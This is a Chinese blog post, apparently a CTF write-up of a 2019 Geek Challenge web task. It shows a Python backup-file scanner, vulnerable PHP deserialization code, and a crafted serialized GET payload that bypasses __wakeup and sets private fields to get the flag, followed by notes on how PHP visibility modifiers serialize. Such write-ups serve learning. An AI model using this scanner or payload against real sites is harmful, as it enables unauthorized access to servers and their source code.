前言

终于开学了有时间学习了,今天看了一下2019年极客大挑战的web,发现有个题目值得我这个新手记录的,就记录了一下

正文

打开靶站,是这样的界面

里面有暗示备份文件,所以用脚本爆了一下

# python3
import requests
# url1为被扫描地址,后不加‘/’
url1 = 'http://36e18332-ae28-414f-a402-79ee11a16bdc.node3.buuoj.cn'
# 常见的网站源码备份文件名
list1 = ['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
# 常见的网站源码备份文件后缀
list2 = ['tar', 'tar.gz', 'zip', 'rar']

for i in list1:
    for j in list2:
        back = str(i) + '.' + str(j)
        url = str(url1) + '/' + back
        print(back + '    ', end='')
        print(len(requests.get(url).text))

发现有个备份文件www.zip

把它下载下来,里面有两个重要文件

index.php

<?php
    include 'class.php';
    $select = $_GET['select'];
    $res=unserialize(@$select);
    ?>

class.php

<?php
include 'flag.php';
error_reporting(0);
class Name{
    private $username = 'nonono';
    private $password = 'yesyes';

    public function __construct($username,$password){
        $this->username = $username;
        $this->password = $password;
    }

    function __wakeup(){
        $this->username = 'guest';
    }

    function __destruct(){
        if ($this->password != 100) {
            echo "</br>NO!!!hacker!!!</br>";
            echo "You name is: ";
            echo $this->username;echo "</br>";
            echo "You password is: ";
            echo $this->password;echo "</br>";
            die();
        }
        if ($this->username === 'admin') {
            global $flag;
            echo $flag;
        }else{
            echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
            die();
        }
    }
}
?>

大概意思是get一个反序列对象,要求有两个字段,username要等于admin,password要等于100

但是里面有两个考点,一个是__wakeup()魔术方法会把username强制变成guest,另一个是username和password的属性是private,一般方法只能构造出public属性的对象

解决方法是这样的:

反序列里面有这样的情况:

  • 如果反序列对象的个数的数值大于实际个数,则__wakeup()方法不执行
  • 在对象中成员的名字的Name前后加入%00是声明属性为private的意思

exp如下

<?php
class Name{
    private $username="admin";
    private $password=100;
}
$a = new Name();
echo(serialize($a));

得到的结果

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

经过处理得到

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

用get提交,payload如下

?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

__wakeup()方法

我们再来仔细看一下__wakeup()魔术方法

执行时间

同serialize()对应的__sleep()一样,__wakeup()在unserialize()之前执行

绕过方法

当反序列化对象的个数在数值上大于实际的个数的时候,__wakeup()方法就不会执行

所以我们在这个题目中将对象的个数从2改为3

private public和protected

下面来对比一下public、private、和protected

public

<?php
class Name{
    public $username="admin";
    public $password=100;
}
$a = new Name();
echo(serialize($a));

得到的结果

O:4:"Name":2:{s:8:"username";s:5:"admin";s:8:"password";i:100;}

用urlencode()得到的结果

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A8%3A%22username%22%3Bs%3A5%3A%22admin%22%3Bs%3A8%3A%22password%22%3Bi%3A100%3B%7D

private

private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀(%00经过url解码得到的就是\0也就是空字符)。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。

<?php
class Name{
    private $username="admin";
    private $password=100;
}
$a = new Name();
echo(serialize($a));

得到的结果

O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

用urlencode()得到的结果

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A14%3A%22%00Name%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A14%3A%22%00Name%00password%22%3Bi%3A100%3B%7D

可以看到private属性的成员名字Name前后加上了%00,即是%00Name%00username代表username是private属性

protected

protected 声明的字段为保护字段,在所声明的类和该类的子类中可见,但在该类的对象实例中不可见。因此保护字段的字段名在序列化时,字段名前面会加上\0*\0的前缀。这里的 \0 表示 ASCII 码为 0 的字符(不可见字符),而不是 \0 组合。如果直接在网址上,传递\0*\0username会报错,因为实际上并不是\0,只是用它来代替ASCII值为0的字符

<?php
class Name{
    protected $username="admin";
    protected $password=100;
}
$a = new Name();
echo(serialize($a));

得到的结果

O:4:"Name":2:{s:11:"*username";s:5:"admin";s:11:"*password";i:100;}

用urlencode()得到的结果

O%3A4%3A%22Name%22%3A2%3A%7Bs%3A11%3A%22%00%2A%00username%22%3Bs%3A5%3A%22admin%22%3Bs%3A11%3A%22%00%2A%00password%22%3Bi%3A100%3B%7D

*的urlencode是%2A,可以看到private属性的*前后都有%00,即是%00*%00username代表username是protected属性

总结一下

只有public修饰的,原生构造就好;
private 修饰需要用 %00Name%00;
protected修饰需要用 %00*%00

最后,提醒一下:为什么要展示urlencode()得到的结果?因为%00是空字符的意思,复制会遗漏,这时就要手动加上,会把我们累死,所以直接用urlencode()就可以避免这样的情况出现

结尾

参考来自

https://blog.csdn.net/vanarrow/article/details/108242411

https://zhuanlan.zhihu.com/p/137898056

说点什么
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...